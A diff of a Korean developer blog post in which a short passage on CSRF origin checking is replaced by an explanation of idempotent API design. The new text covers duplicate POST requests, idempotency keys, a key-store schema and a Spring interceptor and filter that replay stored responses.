-출처 검증은 특히 중요한 작업에서 유용하다. 예를 들어, 민감한 데이터 수정이나 결제 요청과 같은 작업에서 출처가 올바른지 확인함으로써, 외부 사이트에서 발생한 의도하지 않은 요청을 차단할 수 있다. 이 방법은 CSRF 공격을 사전에 방어하는 강력한 수단이 된다.
+```http
+POST /users
+Content-Type: application/json
 
-이 방식의 핵심은, 서버가 허가된 출처 리스트를 유지하고, 그 리스트에 포함되지 않은 출처에서 온 요청은 모두 거부하는 것이다. 이를 통해, 공격자가 임의의 사이트에서 보내는 CSRF 요청이 효과를 발휘하지 못하도록 막을 수 있다. 그러나, Referer 헤더는 일부 환경에서 제거되거나 수정될 수 있으므로, 출처 검증은 CSRF 방어 전략의 하나로 사용되며, 다른 방법들과 함께 적용하는 것이 권장된다.
+{
+"name": "이영희",
+"email": "lee@example.com"
+}
+```
+
+이 요청을 3번 보내면, 동일한 내용의 사용자가 3개 생성될 수 있다(각각 다른 ID를 가진).  
+즉, 서버의 상태가 매 요청마다 변경되므로 POST는 비멱등이다.
+
+다른 예시:
+
+- **결제 처리** - 동일한 결제 요청을 여러 번 보내면 중복 결제가 발생
+- **게시글 작성** - 같은 내용을 여러 번 POST하면 중복 게시글 생성
+- **좋아요 카운트 증가** - 요청할 때마다 카운트가 증가
+
+따라서 기본적으로 POST는 멱등성을 보장하지 않으며, **중복 요청 방지가 필요한 경우 시스템 내부적으로 별도의 메커니즘(예: 멱등성 키)을 구현해야 한다.**
+
+# 3. 멱등한 API 설계는 왜 필요한가?
+
+> = 재요청을 보내도 안전한 API 설계는 왜 필요한가?
+
+**똑같은 요청을 여러 번 보내도 서버 리소스 변화가 없는 API**가 왜 필요한지 아직 이해가 잘 안 될 수 있다.
+
+지금부터는 필자가 실제 겪은 사례를 기반으로, 멱등한 API 설계의 필요성을 설명하려 한다.
+
+## 3.1 예시: 외부 API가 포함된 회원가입 로직 중복 실행
+
+소셜 로그인을 활용한 회원가입 처리 과정에서 멱등성 부재로 인한 문제가 발생했다. 다음 시나리오를 살펴보자.
+
+### 배경
+
+서버는 다음과 같은 흐름으로 요청을 처리한다:
+
+1. 클라이언트로부터 인증 코드를 받는다
+2. 소셜 API를 호출하여 사용자 정보를 조회한다
+3. 조회된 정보로 데이터베이스에 사용자를 생성한다
+4. 클라이언트에 응답을 반환한다
+
+### 문제 상황 시나리오
+
+![signup1](/assets/signup1.png)
+
+사용자가 소셜 로그인을 통해 회원가입을 시도한다.
+
+![signup2](/assets/signup2.png)
+
+서버 내부에서는 첫 번째 요청이 성공적으로 처리되어 데이터베이스에 사용자의 정보가 생성되었다.
+
+![signup3](/assets/signup3.png)
+
+그런데 첫 요청의 응답이 지연되어, 클라이언트 측에서 타임아웃이 발생했다.
+
+![signup4](/assets/signup4.png)
+
+이때, 클라이언트는 시스템 내부 정책에 따라 동일한 회원가입 요청을 재전송한다.
+
+![signup5](/assets/signup5.png)
+
+여기서 문제가 발생한다.  
+앞선 요청에서 생성된 리소스와, 재요청에서 생성되어야 할 리소스가 제약 조건에 의해 서로 충돌하는 것이다.
+
+![signup6](/assets/signup6.png)
+
+결국 서버 내부에서는 회원가입이 성공했음에도 불구하고, 요청이 실패한 것처럼 보인다.
+
+## 3.2 시스템 외부 환경은 완전하지 않다
+
+앞선 시나리오를 통해 알 수 있는 사실은, **제어할 수 없는 외부 요인으로 인해 예기치 못한 문제가 발생할 수도 있다**는 점이다.
+
+이처럼 중복 요청 문제가 발생할 수 있는 시나리오 예시는 다음과 같다:
+
+1. 더블 클릭
+2. 불안정한 네트워크
+3. 요청 처리 시간 지연
+
+그리고 중복 요청으로 인한 리소스 변화가 어떨 때는 사용자에게 치명적인 영향을 줄 수 있다.
+
+> _**중복 요청으로 인해 치명적인 영향을 줄 수 있는 시나리오**는 `6. 모든 API가 멱등해야 할까?` 에서 언급한다._
+
+그러므로 멱등성을 보장하지 않는 HTTP 메서드 (예: `POST`, `PATCH`) 에 대해서는 시스템 내부에서 직접 멱등성을 보장해주어야 한다.
+
+# 4. 멱등한 API는 어떻게 만들 수 있을까?
+
+지금까지의 내용을 정리하면 다음과 같다:
+
+- 외부 요인으로 인해 예기치 못한 중복 요청이 발생할 수 있다.
+- 멱등을 보장하지 않는 HTTP 메서드 (예: `POST`, `PATCH`) 에 대해서는 시스템 내부에서 직접 멱등성을 보장해야 한다.
+
+이렇게 _Why?_ 에 대한 내용을 다뤘으니, 이러한 의문이 들 수 있다.  
+**"그렇다면 멱등한 API는 어떻게 만들 수 있을까?"** _(How?)_
+
+## 4.1 중복 요청을 누가, 어떻게 구별할까?
+
+멱등한 API를 만들기에 앞서, 가장 먼저 해결해야 할 문제는 **중복 요청을 누가 / 어떻게 구별할 것인지**에 대한 문제다.
+
+### 4.1.1 클라이언트 vs 서버
+
+HTTP 요청과 응답을 다루는 주체로는 **클라이언트**와 **서버**가 있다.
+
+![client vs server](/assets/client-server.png)
+
+그렇다면 둘 중 누가 중복 요청 여부를 판단할 수 있을까?
+
+1. **서버**  
+   먼저 서버가 구별하는 경우를 생각해보자.  
+   [HTTP는 무상태(MDN)](https://developer.mozilla.org/en-US/docs/Web/HTTP)이므로, 현재로서는 **서버가 서로 다른 두 요청이 중복 요청인지 구별할 방법이 없다.** 👉🏻 ❌
+
+2. **클라이언트**  
+   다시 생각해보면, **현재 요청을 어떤 상황에서 보내는지**, 그 상황을 정확히 판단할 수 있는 주체는 클라이언트 뿐임을 알 수 있다. 👉🏻 ✅
+
+### 4.1.2 멱등키: 클라이언트가 중복 요청을 구별할 책임
+
+![idempotency-key1](/assets/idempotency-key1.png)
+
+이처럼 **중복 요청을 구별할 수 있는 정보**는 클라이언트가 표시하게 된다.
+
+![idempotency-key2](/assets/idempotency-key2.png)
+
+그리고 이렇게 **중복 요청을 구별할 수 있는 정보**를 `멱등키` 라고 부른다.
+
+> [IETF 문서](https://datatracker.ietf.org/doc/html/draft-ietf-httpapi-idempotency-key-header-06#section-2.2)에 따르면, 멱등키는 각 요청마다 고유해야 한다고(MUST) 설명한다.
+
+![duplicate request](/assets/duplicate-request.png)
+![different request](/assets/different-request.png)
+
+이제 클라이언트는 각 회원가입 요청마다 `멱등키`를 첨부한다.
+
+## 4.2 중복 요청을 서버에서 어떻게 처리할까?
+
+**`멱등키`가 첨부된 요청**을 서버가 어떻게 멱등하게 처리할 수 있을까?
+
+### 4.2.1 멱등키 저장소
+
+요청마다 멱등키를 확인하고, 이전 요청의 멱등키와 비교하기 위해 서버는 멱등키 저장소를 추가해야 한다.
+
+다음은 멱등키 저장소 스키마를 간단하게 정의 해본 것이다:
+
+```java
+/* 요청 처리 상태 */
+public enum ProgressStatus {
+    COMPLETED,
+    PROCESSING,
+    ;
+}
+
+/* 멱등키 저장 스키마 */
+@Getter
+@Entity
+public class IdempotencyRecord {
+
+    @Id
+    private String key;
+    private ProgressStatus progressStatus;
+    private HttpStatus responseStatus;
+    private String responseBody;
+}
+```
+
+이해하기 쉽게 표로 표현하면 다음과 같다:
+
+| 멱등키  | 요청 처리 상태 | 응답 상태 | 응답 본문                                      |
+| ------- | -------------- | --------- | ---------------------------------------------- |
+| example | COMPLETED      | 200       | { nickname: "밍곰", email: "hello@gmail.com" } |
+
+### 4.2.2 회원가입 중복 요청 시나리오
+
+이제 회원가입 API가 멱등함을 가정하고, 앞선 시나리오를 다시 살펴본다.
+
+![idempotent-signup1](/assets/idempotent-signup1.png)
+
+클라이언트는 멱등키를 첨부하여 서버에 요청을 보낸다.
+
+그리고 서버는 **처음 들어온 멱등키에 대한 요청**을 `PROCESSING`(진행중) 상태로 표시하여 멱등키 저장소에 저장한다.
+
+1. **서버가 요청을 처리하는 도중에 중복 요청이 발생한 경우**
+
+   ![idempotent-signup2](/assets/idempotent-signup2.png)
+
+   서버는 멱등키를 기반으로 요청 처리 정보를 조회하고, 현재 요청이 이전에 이미 들어온 요청임을 인지할 수 있다. 그리고 **서버는 재요청에 대한 로직을 처리하지 않고**, `요청이 아직 처리중임`을 알리는 응답을 보낸다.
+
+   ![idempotent-signup3](/assets/idempotent-signup3.png)
+
+   앞선 요청에 대한 처리가 모두 완료되면, 해당 요청에 대한 진행 상태를 `COMPLETED`(완료) 상태로 표시한다. 그리고 해당 요청에 대한 응답 정보를 기록할 수 있다.
+
+2. **서버가 요청을 처리한 이후 중복 요청이 발생한 경우**
+
+   ![idempotent-signup4](/assets/idempotent-signup4.png)
+
+   마찬가지로 서버는 현재 요청이 이미 처리 완료된 요청임을 인지할 수 있다. 따라서 **재요청에 대한 로직을 처리하지 않고**, 저장된 응답을 보낸다.
+
+위 시나리오를 통해 알 수 있는 멱등한 API의 핵심 특징은 다음과 같다:
+
+```
+요청별 응답을 서버에 기록하여 중복 처리를 막을 수 있다.
+```
+
+이로써 리소스의 중복 생성을 막을 수 있는 것이다.
+
+# 5. 서버 코드 예시 살펴보기
+
+서버 구현 코드도 간단하게 살펴본다.
+
+## HandlerInterceptor
+
+클라이언트의 요청에 첨부된 멱등키를 조회해야 하므로, Spring 프레임워크의 `HandlerInterceptor` 구현체를 추가했다.
+
+```java
+@RequiredArgsConstructor
+@Component
+public class IdempotencyInterceptor implements HandlerInterceptor {
+
+    private final IdempotencyRepository repository;
+
+    @Override
+    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
+        String key = request.getHeader("Idempotency-Key");
+
+        if (key == null) {
+            return true;
+        }
+
+        Optional<IdempotencyRecord> existing = repository.findByKey(key);
+
+        if (existing.isEmpty()) {
+            /* 첫 요청 - PROCESSING 상태로 저장 */
+            IdempotencyRecord newRecord = new IdempotencyRecord(key, ProgressStatus.PROCESSING);
+            repository.save(newRecord);
+
+            return true;
+        }
+
+        IdempotencyRecord record = existing.get();
+
+        switch (record.getProgressStatus()) {
+            /* 이미 처리 완료된 요청인 경우 */
+            case COMPLETED -> {
+                response.setStatus(record.getStatusCode().value());
+                response.getWriter().write(record.getResponseBody() != null ? record.getResponseBody() : "");
+                return false;
+            }
+            /* 처리중인 요청인 경우 */
+            case PROCESSING -> {
+                response.setStatus(HttpServletResponse.SC_CONFLICT);
+                return false;
+            }
+        }
+
+        return false;
+    }
+
+    @Override
+    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
+        String key = request.getHeader("Idempotency-Key");
+
+        if (key == null) {
+            return;
+        }
+
+        IdempotencyRecord record = repository.findByKey(key).orElse(null);
+        if (record == null) {
+            return;
+        }
+
+        if (record.getProgressStatus() == ProgressStatus.PROCESSING) {
+            byte[] body = new byte[0];
+            if (response instanceof ContentCachingResponseWrapper wrapper) {
+                body = wrapper.getContentAsByteArray();
+            }
+            String bodyToSave = new String(body, StandardCharsets.UTF_8);
+
+            /* HttpServletResponse body 추출 불가능 - 응답 본문 캡처 */
+            record.setResponseBody(bodyToSave);
+            record.setProgressStatus(ProgressStatus.COMPLETED);
+            record.setStatusCode(HttpStatus.valueOf(response.getStatus()));
+            repository.save(record);
+        }
+    }
+}
+```
+
+### 1. preHandle: 요청 멱등키 확인
+
+핸들러에서 요청을 처리하기 전, 요청 헤더에 있는 멱등키를 확인하기 위해 `preHandle` 메서드를 구현했다.
+
+### 2. afterCompletion: 요청 처리 결과 저장
+
+핸들러에서 요청을 처리한 후, 요청 처리 결과를 기록하기 위해 `afterCompletion` 메서드를 구현했다.
+
+### 2-1. 응답 본문 추출을 위한 추가 설정
+
+`afterCompletion` 메서드 내부에서 `HttpServletResponse` 인스턴스의 본문을 추출하기 위해 다음과 같이 Filter 구현체도 추가한다.
+
+```java
+@Component
+public class ContentCachingResponseFilter extends OncePerRequestFilter {
+
+    @Override
+    protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res, FilterChain chain)
+            throws IOException, ServletException
+    {
+        ContentCachingResponseWrapper wrapper = new ContentCachingResponseWrapper(res);
+        try {
+            chain.doFilter(req, wrapper);
+        } finally {
+            /* 캐싱한 응답을 클라이언트에게 flush */
+            wrapper.copyBodyToResponse();
+        }
+    }
+}
+```
+
+이처럼 시스템 내부에서 멱등성을 보장하기 위해서는 추가적으로 고려할 사항들이 늘어난다.
+
+> 특히 멱등키를 위한 저장소가 추가됨에 따라 **In-memory 기반 저장소** 도입을 고려할 수도 있다.  
+> 이 과정에서 동시성 문제, SPOF 문제 등과 같이 고려해야할 사항이 추가된다.
+
+그리고 멱등한 API가 늘어나면 그만큼의 서버 리소스를 더 차지하게 된다.
+
+# 6. 모든 API가 멱등해야 할까?
+
+그렇다면 모든 API에 멱등성을 보장해야 할까? 우선 몇 가지 예시를 떠올려보자.
+
+### 예시1: 블로그 / 커뮤니티 게시글 업로드
+
+첫 번째 예시는 **블로그 / 커뮤니티 게시글을 업로드하는 경우**다.
+
+여러분도 블로그나 커뮤니티에 게시글을 업로드할 때, **동일한 포스팅이 중복되어 생성되었던 경험**이 있는가? 필자도 종종 이런 경험을 겪은 적이 있다. 이때 중복 생성된 게시글을 방치하기도 하고, 어떨 때는 직접 삭제하기도 한다.
+
+사실 사용자로서 이 시나리오는 중복 요청에 대한 영향이 그닥 치명적이지 않게 느껴진다.
+
+### 예시2: 결제 / 재고 정보 생성 또는 수정
+
+그렇다면 **결제 / 재고 정보를 생성 혹은 수정하는 경우**는 어떨까?  
+이 경우, 중복 요청을 모두 처리했을 때 사용자에게 미치는 영향이 크게 느껴진다.
+
+- 결제 요청을 중복 처리하면, 사용자는 하나의 물건을 구입했음에도 불구하고 결제를 두 차례 진행할 수도 있다.
+- 재고 정보 업데이트를 중복 처리하면, 재고 정보가 실제와 다르게 기록될 수도 있다.
+
+따라서 모든 API에서 멱등을 보장한다기 보다는, **"재요청 중복 처리에 의한 결과가 치명적인 곳에서만 적용하는 것"** 이 합리적이다.
+
+## 6.1 결과: 회원가입 API에서 멱등을 보장해야 하는가?
+
+필자는 이러한 고민을 거쳐, 결론적으로 **회원가입 API에서는 멱등성을 보장하지 않았다.**  
+회원가입 과정에서는 앞선 시나리오와 같이 `4XX` 오류가 발생하더라도, 동일한 정보로 로그인을 시도하는 것처럼 사용자의 행동을 우회할 수 있다고 생각했기 때문이다. _(마치 중복 업로드된 게시글을 사용자가 삭제하는 것처럼 말이다.)_  
+즉, 회원가입 API에서는 중복 요청에 의한 리소스 변화가 치명적이지 않다는 판단 하에 이와 같은 결정을 내렸다.
+
+이처럼 특정 API에 멱등성을 적용하기에 앞서, **중복 요청에 의한 리소스 변화**가 시스템 및 사용자에게 어떤 영향을 주는지 떠올리고 적용 여부를 판단하는 것이 필요하다.
+
+# 7. 마무리
+
+중복 요청 처리에 의한 결과가 치명적인 경우, 시스템을 보호할 수 있는 API를 설계하자. 그리고 이 과정에서 멱등키 도입을 고려할 수 있다.